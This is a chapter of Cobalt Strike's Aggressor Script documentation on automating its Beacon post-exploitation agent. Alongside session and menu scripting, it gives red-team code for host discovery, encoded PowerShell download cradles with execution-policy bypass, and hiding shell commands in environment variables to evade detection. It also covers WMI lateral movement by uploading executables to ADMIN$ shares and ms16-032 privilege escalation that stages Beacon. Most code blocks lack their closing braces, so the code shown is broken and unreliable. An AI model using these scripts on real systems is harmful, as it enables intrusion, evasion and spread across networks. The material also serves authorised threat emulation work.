5. Beacon

Beacon is Cobalt Strike's asynchronous post-exploitation agent. In this chapter, we will explore options to automate Beacon with Cobalt Strike's Aggressor Script.


Cobalt Strike assigns a session ID to each Beacon. This ID is a random number. Cobalt Strike associates tasks and metadata with each Beacon ID. Use &beacons to query metadata for all current Beacon sessions. Use &beacon_info to query metadata for a specific Beacon session. Here's a script to dump information about each Beacon session:

command beacons {
	local('$entry $key $value');
	foreach $entry (beacons()) {
		println("== " . $entry['id'] . " ==");
		foreach $key => $value ($entry) {
			println("$[20]key : $value");


You may define new Beacon commands with the alias keyword. Here's a hello alias that prints Hello World in a Beacon console.

alias hello {
       blog($1, "Hello World!");

Put the above into a script, load it into Cobalt Strike, and type hello inside of a Beacon console. Type hello and press enter. Cobalt Strike will even tab complete your aliases for you. You should see Hello World! in the Beacon console.

You may also use the &alias function to define an alias.

Cobalt Strike passes the following arguments to an alias: $0 is the alias name and arguments without any parsing. $1 is the ID of the Beacon the alias was typed from. The arguments $2 and on contain an individual argument passed to the alias. The alias parser splits arguments by spaces. Users may use "double quotes" to group words into one argument.

alias saywhat {
	blog($1, "My arguments are: " . substr($0, 8) . "\n");

You may also register your aliases with Beacon's help system. Use &beacon_command_register to register a command.

Aliases are a convenient way to extend Beacon and make it your own. Aliases also play well into Cobalt Strike's threat emulation role. You may use aliases to script complex post-exploitation actions in a way that maps to another actor's tradecraft. Your red team operators simply need to load a script, learn the aliases, and they can operate with your scripted tactics in a way that's consistent with the actor you're emulating.

Reacting to new Beacons

A common use of Aggressor Script is to react to new Beacons. Use the beacon_initial event to setup commands that should run when a Beacon checks in for the first time.

on beacon_initial {
	# do some stuff

The $1 argument to beacon_initial is the ID of the new Beacon.

The beacon_initial event fires when a Beacon reports metadata for the first time. This means a DNS Beacon will not fire beacon_initial until its asked to run a command. To interact with a DNS Beacon that calls home for the first time, use the beacon_initial_empty event.

# some sane defaults for DNS Beacon
on beacon_initial_empty {
	bmode($1, "dns-txt");

Popup Menus

You may also add on to Beacons popup menu. Aliases are nice, but they only affect one Beacon at a time. Through a popup menu, your script's users may task multiple Beacons to take the desired action at one time.

The beacon_top and beacon_bottom popup hooks let you add to the default Beacon menu. The argument to the Beacon popup hooks is an array of selected Beacon IDs.

popup beacon_bottom {
	item "Run All..." {
		prompt_text("Which command to run?", "whoami /groups", lambda({
			binput(@ids, "shell $1");
			bshell(@ids, $1);
		}, @ids => $1));

The Logging Contract

Cobalt Strike 3.0 and later do a decent job of logging. Each command issued to a Beacon is attributed to an operator with a date and timestamp. The Beacon console in the Cobalt Strike client handles this logging. Scripts that execute commands for the user do not record commands or operator attribution to the log. The script is responsible for doing this. Use the &binput function to do this. This command will post a message to the Beacon transcript as if the user had typed a command.

Acknowledging Tasks

Custom aliases should call the &btask function to describe the action the user asked for. This output is sent to the Beacon log and it's also used in Cobalt Strike's reports. Most Aggressor Script functions that issue a task to Beacon will print their own acknowledgement message. If you'd like to suppress this, add ! to the function name. This will run the quiet variant of the function. A quiet function does not print a task acknowledgement. For example, &bshell! is the quiet variant of &bshell.

alias survey {
	btask($1, "Surveying the target!", "T1082");
	bshell!($1, "echo Groups && whoami /groups");
	bshell!($1, "echo Processes && tasklist /v");
	bshell!($1, "echo Connections && netstat -na | findstr \"EST\"");
	bshell!($1, "echo System Info && systeminfo");

The last argument to &btask is a comma-separated list of ATT&CK techniques. T1082 is System Information Discovery. ATT&CK is a project from the MITRE Corporation to categorize and document attacker actions. Cobalt Strike uses these techniques to build its Tactics, Techniques, and Procedures report. You may learn more about MITRE's ATT&CK matrix at:

Example: Conquering the Shell

Aliases may override existing commands. Here's an Aggressor Script implementation of Beacon's powershell command:

alias powershell {
	local('$args $cradle $runme $cmd');
	# $0 is the entire command with no parsing.
	$args   = substr($0, 11);
	# generate the download cradle (if one exists) for an imported PowerShell script
	$cradle = beacon_host_imported_script($1);
	# encode our download cradle AND cmdlet+args we want to run
	$runme  = base64_encode( str_encode($cradle . $args, "UTF-16LE") );
	# Build up our entire command line.
	$cmd    = " -nop -exec bypass -EncodedCommand \" $+ $runme $+ \"";
	# task Beacon to run all of this.
	btask($1, "Tasked beacon to run: $args", "T1086");
	beacon_execute_job($1, "powershell", $cmd, 1);

This alias defines a powershell command for use within Beacon. We use $0 to grab the desired PowerShell string without any parsing. It's important to account for an imported PowerShell script (if the user imported one with powershell-import). We use &beacon_host_imported_script for this. This function tasks Beacon to host an imported script on a one-off webserver bound to localhost. It also returns a string with the PowerShell download cradle that downloads and evaluates the imported script. The -EncodedCommand flag in PowerShell accepts a script as a base64 string. There's one wrinkle. We must encode our string as little endian UTF16 text. This alias uses &str_encode to do this. The &btask call logs this run of PowerShell and associates it with tactic T1086. The &beacon_execute_job function tasks Beacon to run powershell and report its output back to Beacon.

Similarly, we may re-define the shell command in Beacon too. This alias creates an alternate shell command that hides your Windows commands in an environment variable.

alias shell {
	$args = substr($0, 6);
	btask($1, "Tasked beacon to run: $args (OPSEC)", "T1059");
	bsetenv!($1, "_", $args);
	beacon_execute_job($1, "%COMSPEC%", " /C %_%", 0);

The &btask call logs our intention and associates it with tactic T1059. The &bsetenv assigns our Windows command to the environment variable _. The script uses ! to suppress &bsetenv's task acknowledgement. The &beacon_execute_job function runs %COMSPEC% with argumnents /C %_%. This works because &beacon_execute_job will resolve environment variables in the command parameter. It does not resolve environment variables in the argument parameter. Because of this, we can use %COMSPEC% to locate the user's shell, but pass %_% as an argument without immediate interpolation.

Example: Lateral Movement

Let's take a look at an extended example of Beacon scripting. Here, we will define an alias, wmi-alt. This alias will accept a target and a listener as parameters. From this information, our alias will generate an executable tied to our listener, copy it to the target, and use the wmic command to run it.

First, let's extend Cobalt Strike's help and register our wmi-alt alias:

# register help for our alias
beacon_command_register("wmi-alt", "lateral movement with WMIC",
	"Synopsis: wmi-alt [target] [listener]\n\n" .
	"Generates an executable and uses wmic to run it on a target");

Now, here's the implementation of this alias:

alias wmi-alt {
	local('$mydata $myexe');
	# check if our listener exists
	if (listener_info($3) is $null) {
		berror($1, "Listener $3 does not exist");
	# generate our executable artifact
	$mydata = artifact($3, "exe", true);
	# generate a random executable name
	$myexe  = int(rand() * 10000) . ".exe";
	# state what we're doing.
	btask($1, "Tasked Beacon to jump to $2 (" . listener_describe($3, $2) . ") via WMI", "T1047");
	# upload our executable to the target
	bupload_raw!($1, "\\\\ $+ $2 $+ \\ADMIN$\\ $+ $myexe", $mydata);
	# use wmic to run myexe on the target
	bshell!($1, "wmic /node: $+ $2 process call create \"c:\\windows\\ $+ $myexe $+ \"");
	# complete staging process (for bind_pipe listeners)
	bstage($1, $2, $3);

The above is pretty straight forward. We check if our listener exists with the &listener_info function.

We then use &artifact to generate an executable tied to our listener. You'll notice that the third parameter to &artifact is true. This true parameter tells Cobalt Strike that we intend to use this shellcode with a remote target. Why do we need to specify this? We do this because Cobalt Strike treats the windows/beacon_smb/bind_pipe listeners differently, depending on remote vs. local context. If the bind_pipe listener is used locally, Cobalt Strike will use a bind_tcp stager. If the listener is used remotely, Cobalt Strike will use a bind_pipe stager.

The &btask function fulfills our obligation to log what the user intended to do. The T1047 argument associates this action with Tactic 1047 in MITRE's ATT&CK matrix.

The &bupload_raw function uploads our executable to an admin-only share on the target.

We use &bshell to run wmic on the current Beacon. Do note, the wmic command will complain if the user does not specify the target by its IP address.

Finally, we use the &bstage function to complete the staging process for our listener. The &bstage function is only relevant to windows/beacon_smb/bind_pipe listeners. It does nothing for other listeners. This function looks at the target value ($2). If this value is null, it tries to stage the SMB Beacon through a bind_tcp stager. If the target parameter is not null, it tries to stage the SMB Beacon through a bind_pipe stager on a remote target.

Example: Privilege Escalation

Beacon's elevate command attempts to spawn a new session with elevated privileges. This command accepts an exploit name and a listener. The &beacon_exploit_register function makes a new exploit available to elevate.

beacon_exploit_register("ms16-032", "Secondary Logon Handle Privilege Escalation (CVE-2016-099)", &ms16_032_exploit);

This code registers the exploit ms16-032 with Beacon's elevate command. A description is given as well. When the user types elevate ms16-032 foo, Cobalt Strike will run &ms16_032_exploit with these arguments: $1 is the beacon session ID. $2 is the listener name (e.g., foo). Here's the &ms16_032_exploit function:

sub ms16_032_exploit {
	local('$script $oneliner');

	# acknowledge this command
	btask($1, "Tasked Beacon to run " . listener_describe($2) . " via ms16-032", "T1068");

	# generate a PowerShell script to run our Beacon listener
	$script = artifact($2, "powershell");

	# host this script within this Beacon
	$oneliner = beacon_host_script($1, $script);

	# task Beacon to run this exploit with our one-liner that runs Beacon
	bpowershell_import!($1, script_resource("Invoke-MS16032.ps1"));
	bpowerpick!($1, "Invoke-MS16032 -Command \" $+ $oneliner $+ \"");

	# handle staging (if we're dealing with a named pipe Beacon; does nothing otherwise)
	bstage($1, $null, $2);

This function uses &btask to acknowledge the action to the user. The description in &btask will go in Cobalt Strike's logs and reports as well. T1068 is the MITRE ATT&CK technique that corresponds to this action.

The &artifact function generates a PowerShell script to stage our listener. This script is too large for a one-liner though. To mitigate this, the exploit function uses &beacon_host_script to host the large script within Beacon. The &beacon_host_script function returns a one-liner to grab this hosted script and evaluate it.

The exploit implementation is in Invoke-MS16032.ps1 from the PowerShell Empire repository. This function uses &bpowershell_import to import this script into Beacon. The &bpowerpick function launches the exploit with the one-liner that runs the specified listener. The exclamation point after &bpowershell_import and &bpowerpick tells Aggressor Script to call the quiet variants of these functions. Quiet functions do not print a task description.

Finally, this function calls &bstage. This function stages the named pipe Beacon (through a specified Beacon session) if necessary.